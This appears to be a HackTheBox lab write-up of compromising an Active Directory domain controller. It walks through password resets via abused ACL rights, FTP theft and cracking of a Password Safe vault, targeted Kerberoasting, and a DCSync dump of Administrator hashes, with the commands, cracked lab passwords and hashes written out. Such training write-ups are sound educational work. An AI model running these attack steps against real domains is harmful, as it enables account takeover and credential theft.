Administrator is a medium-difficulty HackTheBox machine that begins with low-privileged credentials for Olivia on an Active Directory domain controller. Leveraging GenericAll permissions over michael, an RPC password reset is executed to gain host access, followed by abusing michael's ForceChangePassword rights to reset benjamin's password. Authenticating as benjamin via FTP allows exfiltrating an encrypted Password Safe database (Backup.psafe3), which is cracked offline to extract credentials for emily and establish initial WinRM access to capture the user flag. Emily's GenericWrite rights over ethan are then exploited via Targeted Kerberoasting to recover ethan's cleartext password. Finally, because ethan holds GetChanges and GetChangesAll replication privileges on the domain object, a DCSync attack is executed to dump the Domain Administrator NTLM hash and achieve full domain compromise.
As is common in real-life Windows pentests, you will start the Administrator box with credentials for the following account: Username: Olivia Password: ichliebedich
1. Initial Reconnaissance & Account Enumeration
1.1 Network Scanning & Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O administrator.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-08 05:56 -0400 Nmap scan report for administrator.htb (10.129.13.88) Host is up (0.49s latency). Not shown: 987 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-09 17:04:56Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=10/8%OT=21%CT=1%CU=31253%PV=Y%DS=2%DC=I%G=Y%TM=6AC7693 OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S%TS= OS:A)SEQ(SP=105%GCD=1%ISR=107%TI=I%CI=I%II=I%SS=S%TS=A)SEQ(SP=107%GCD=1%ISR OS:=10B%TI=I%CI=I%II=I%SS=S%TS=A)SEQ(SP=108%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS OS:=S%TS=A)SEQ(SP=FF%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=A)OPS(O1=M542NW8S OS:T11%O2=M542NW8ST11%O3=M542NW8NNT11%O4=M542NW8ST11%O5=M542NW8ST11%O6=M542 OS:ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)ECN(R=Y%DF=Y%T= OS:80%W=FFFF%O=M542NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2 OS:(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80 OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q OS:=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G OS:)IE(R=Y%DFI=N%T=80%CD=Z) Network Distance: 2 hops Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required | smb2-time: | date: 2026-10-09T17:06:07 |_ start_date: N/A |_clock-skew: 1d07h08m26s OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 131.42 seconds
Based on the scan results, the target is an Active Directory Domain Controller running Windows Server 2022.
- Port 21 - FTP
- Port 53 - Simple DNS Plus
- Port 88 - Microsoft Windows Kerberos
- Port 135 - Microsoft Windows RPC Endpoint Mapper
- Ports 139 and 445 - Microsoft Directory Services(SMB)
- Ports 389 and 636 - Active Directory LDAP Services
- Ports 3268 and 3269 - Active Directory Global Catalogue
- Port 5985 - WinRM
1.2 SMB Share Enumeration
Since the SMB service is exposed, I decided to enumerate the SMB shares first. But I was unable to find any interesting information.
SMB 10.129.13.88 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.13.88 445 DC [+] administrator.htb\Olivia:ichliebedich SMB 10.129.13.88 445 DC [*] Enumerated shares SMB 10.129.13.88 445 DC Share Permissions Remark SMB 10.129.13.88 445 DC ----- ----------- ------ SMB 10.129.13.88 445 DC ADMIN$ Remote Admin SMB 10.129.13.88 445 DC C$ Default share SMB 10.129.13.88 445 DC IPC$ READ Remote IPC SMB 10.129.13.88 445 DC NETLOGON READ Logon server share SMB 10.129.13.88 445 DC SYSVOL READ Logon server share
1.3 Active Directory Permission Mapping (BloodHound)
I used bloodhound-python to map object relationships and privilege delegation paths using Olivia user's credentials.
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: administrator.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.administrator.htb:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: dc.administrator.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc.administrator.htb INFO: Found 11 users INFO: Found 53 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: dc.administrator.htb INFO: Done in 01M 57S
2. Password Resets & FTP Vault Acquisition (Michael & Benjamin)
2.1 RPC Password Reset on michael
Upon reviewing the BloodHound mapping, I discovered that the Olivia user has GenericAll access to the Michael user.
Initially, I tried using the Shadow Credentials Attack, but although pywhisker.py could create certificates, PKINIT failed to request a TGT.
To overcome this issue, I used net rpc password to reset the Michael user's password.
net rpc password "michael" "nullbyte2026" -U "administrator.htb"/"Olivia"%"ichliebedich" -S "administrator.htb"
The command does not provide an output. I was able to log in to the target machine using evil-winrm as Michael
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\michael\Documents> whoami administrator\michael
2.2 Downstream ACL Mapping & Reset of benjamin
Inspecting the C:\Users directory revealed that there is another user emily. Since michael does not have the user flag, the user flag should be on emily's desktop.
Examining the BloodHound mapping, I discovered that user michael has ForceChangePassword access over user benjamin.
Again, I used the net rpc password command to reset the password for user benjamin.
net rpc password "benjamin" "nullbyte2026" -U "administrator.htb"/"michael"%"nullbyte2026" -S "administrator.htb"
2.3 FTP Service Access & Vault Exfiltration
benjamin does not have remote login access to the target machine and does not have any Outbound Object Control access for other AD objects.
Since I was stuck here, I decided to enumerate the other services, such as FTP and SMB, using the credentials I have.
Connected to administrator.htb. 220 Microsoft FTP Service Name (administrator.htb:kali): benjamin 331 Password required Password: 230 User logged in. Remote system type is Windows_NT. ftp> ls 229 Entering Extended Passive Mode (|||51109|) 125 Data connection already open; Transfer starting. 10-05-24 09:13AM 952 Backup.psafe3 226 Transfer complete. ftp> get Backup.psafe3 local: Backup.psafe3 remote: Backup.psafe3 229 Entering Extended Passive Mode (|||51114|) 125 Data connection already open; Transfer starting. 100% |***********************************************************************************************************************************************| 952 1.43 KiB/s 00:00 ETA 226 Transfer complete. WARNING! 3 bare linefeeds received in ASCII mode. File may not have transferred correctly. 952 bytes received in 00:00 (0.97 KiB/s)
Enumerating FTP, I was able to find and exfiltrate the Backup.psafe3 file.
3. Vault Cracking & User Flag
3.1 Master Password Cracking
A PSAFE3 File is an encrypted database created by Password Safe to securely store login credentials and passwords.
I used pwsafe2john to extract the master password hash for offline cracking.
pwsafe2john Backup.psafe3 > safe_hash.txt
Using default input encoding: UTF-8 Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x]) Cost 1 (iteration count) is 2048 for all loaded hashes Will run 6 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status tekieromucho (Backu) 1g 0:00:00:00 DONE (2026-10-08 08:04) 1.333g/s 8192p/s 8192c/s 8192C/s 123456..iheartyou Use the "--show" option to display all of the cracked passwords reliably Session completed.
The master password is successfully recovered as tekieromucho.
3.2 Vault Decryption & Credential Harvest
I was able to open the Password Safe Vault using the pwsafe command-line utility and dump the stored password entries.
pwsafe -r Backup.psafe3
alexander - UrkIbagoxMyUGw0aPlj9B0AXSea4Sw emily - UXLCI5iETUsIBoFVTj8yQFKoHjXmb emma - WwANQWnmJnGV07WQN8bMS7FMAbjNur
3.3 WinRM Shell & User Flag Capture
Since the other user has remote login access to the target machine, I used the credentials for emily to log in to the target machine using evil-winrm. After logging in as emily, I was able to retrieve the user flag from the desktop directory.
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\emily\Documents> type ../Desktop/user.txt
4. Targeted Kerberoasting (Ethan)
4.1 GenericWrite Control Mapping
Examining the BloodHound mapping, I discovered that emily has GenericWrite access over ethan.
Holding GenericWrite rights allows writing to the servicePrincipalName attribute of the target account. This means a targeted Kerberoast attack can be conducted without altering the user's password or disrupting normal account operation.
4.2 Targeted Kerberoasting Execution
Using targetedKerberoast.py together with credentials for emily, I was able to request a Kerberos hash for ethan.
[*] Starting kerberoast attacks [*] Attacking user (ethan) [VERBOSE] SPN added successfully for (ethan) [+] Printing hash for (ethan) $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$0c05b512e8940fd567a161d1609aeb04$7d1197a17582698404b0870ff482ff69e95e50cf7ac6ba4dc0a5a3f91e7e02de9270922f9805fb06bf1554cb23e6965c7c65171560bd384dbd0986fc694dcab0baca032489aab921714d0008b28eae4a3f5f7c9243a27468a3899883827e6de0ea75bc7e97bb868d8ae49b649e73bf8e69400d089a77e7be4e21ace7a22a78ccb5b22d14b10fdc8e386aff81650563d61a79cf3717c0c4db85129648fb3d811e49f09db7f63166b597ca622937a31ab882fce7cc802276e28d584052cfb1e84f969b631dca0144c14f14789188adadab23c86536f1ee29a4fe9491eb0da79b4fc14c5d1961608385b6fe9b0c51cbecdd1d9212c3d910788cdba74d3497f1d917a94cf102b2de96a3fad9bb1bf9dbe6149e2809ed30eb55ab58a68d5a6d8a7a06c62343e8ca8410ddb557cafc658fe59c89f087895867c683d9664138ebdc4371706440567471fdfb9f20f97992eebf015e1390ea5c022171df1a7f0f14e22cd380eb7f5739fb6456591f603c9301457a0d38084de5461a9193442f2681bb3839f0ad35f6f0712c190eaf0f2f269021ff9bbe3a70000d919d87bf75fcb40c8b676e85654e6deb36975efbc65dc8da8b77b5a6e46bdfc0292714b494ced9d855311fca989d4b5a51f6e37a0b211731e55551af57d4efeb91e0ead2bc9555ab5f2fb682984e5baf0bb2f23c367fb8e6ac1ec4b5ca22a66e43471b83f10595adde8dcedbf0f1617c9fd4ba470576f18cafb071cf914547fe67b502760a08ab3d500bd82fe2ac3e3f93a22d9380a997ddcaf3a6dd28f237afd314e8588f964b50e4df35954a12815baf7184406746ee0a70202824f79edbc71044d696ed8ee945a0291b73e84cadadbca3c896ea6d387ecc25e7272770ac178443e2f67d9cc31ecfd4678833abafcb9beed0fc86a8da616f8b45a4d3e5d39f9a1cfaadc5ba6350d1ae91b4ed1d61476711bd1dc0a0761c5f786813a6566c446e265685780fafe240a7fc11577253eb50b4364283dace750714f40beea76969fd08b0f37f2dba08c738774b6ebacab1ad37632ddc5c6089b427ad5b6883340a4d36062ccacb0e4bd51d48988c940259a937c8fdace35f2a0cda992e53643254aae14e28705fef57183fbea3d0a4d6cfc7cf8a342a9ffd373c6f3e7c060c5260f9fc17c82f53da40176251a6c9b101cb77baf555fc2ab7a53d106b3dcced4b45b7c23f99f4ffb18e24475b02a5a539bc26b30453f06e39ab6b5702a9201984325e993fa70beb00a363d1c6fff6ebd25c10cbdabdee34b323c81d66cb732ae6ac5ddeb41ebf4eaf1071ee428f1e2b3a61625b86e1a5832b78e1d4dddfe85c39f31c6dfee9ef4874c57445d079ac8b3f67e179657a2172c4d78c1e3e0281e2e933f1e0a76030268d3e39f525e0ea6ef4993e81b9f194d05fd919fa5cb6c0ff276879ccb8ec2e577c4658bbe55b1583baa4a87a43162ad6fbe1582be9a4a3acf0aaf994d996f2b26e78ad9aeb1d0d86ed46df16c163de06463ebfafaec2a1b6d6fc53d78d6635b217e765 [VERBOSE] SPN removed successfully for (ethan)
4.3 Hash Cracking
After saving the hash into the ethan.hash file, I was able to use hashcat to crack the hash.
... Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt ... c2a1b6d6fc53d78d6635b217e765:limpbizkit ... Started: Thu Oct 8 08:47:59 2026 Stopped: Thu Oct 8 08:48:03 2026
Offline cracking successfully recovered the password for ethan as limpbizkit.
5. Domain Privilege Escalation via DCSync & Root Flag
5.1 DCSync Execution & Secrets Dump
Reviewing the BloodHound mapping, I discovered that ethan has GetChanges and GetChangesAll access over the domain root object (Administrator).
In a standard Active Directory environment, Domain Controllers utilise the Directory Replication Service Remote Protocol (MS-DRSR) to synchronise directory data across the domain. When an account is explicitly granted both GetChanges and GetChangesAll permissions on the domain root object, it can simulate the behaviour of a Domain Controller. This allows the principal to request sensitive password data, including historical and active NTLM hashes for arbitrary domain accounts.
I was able to use impacket-secretsdump to extract the Administrator NTLM hash.
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664 Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2 Administrator:des-cbc-md5:403286f7cdf18385 [*] Cleaning up...
5.2 Administrator Access and Root Flag
With the Administrator NTLM hash revealed, I was able to log in to the target machine using evil-winrm and retrieve the root flag.
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
Congrats! We found both flags!
HTB Machine Completion
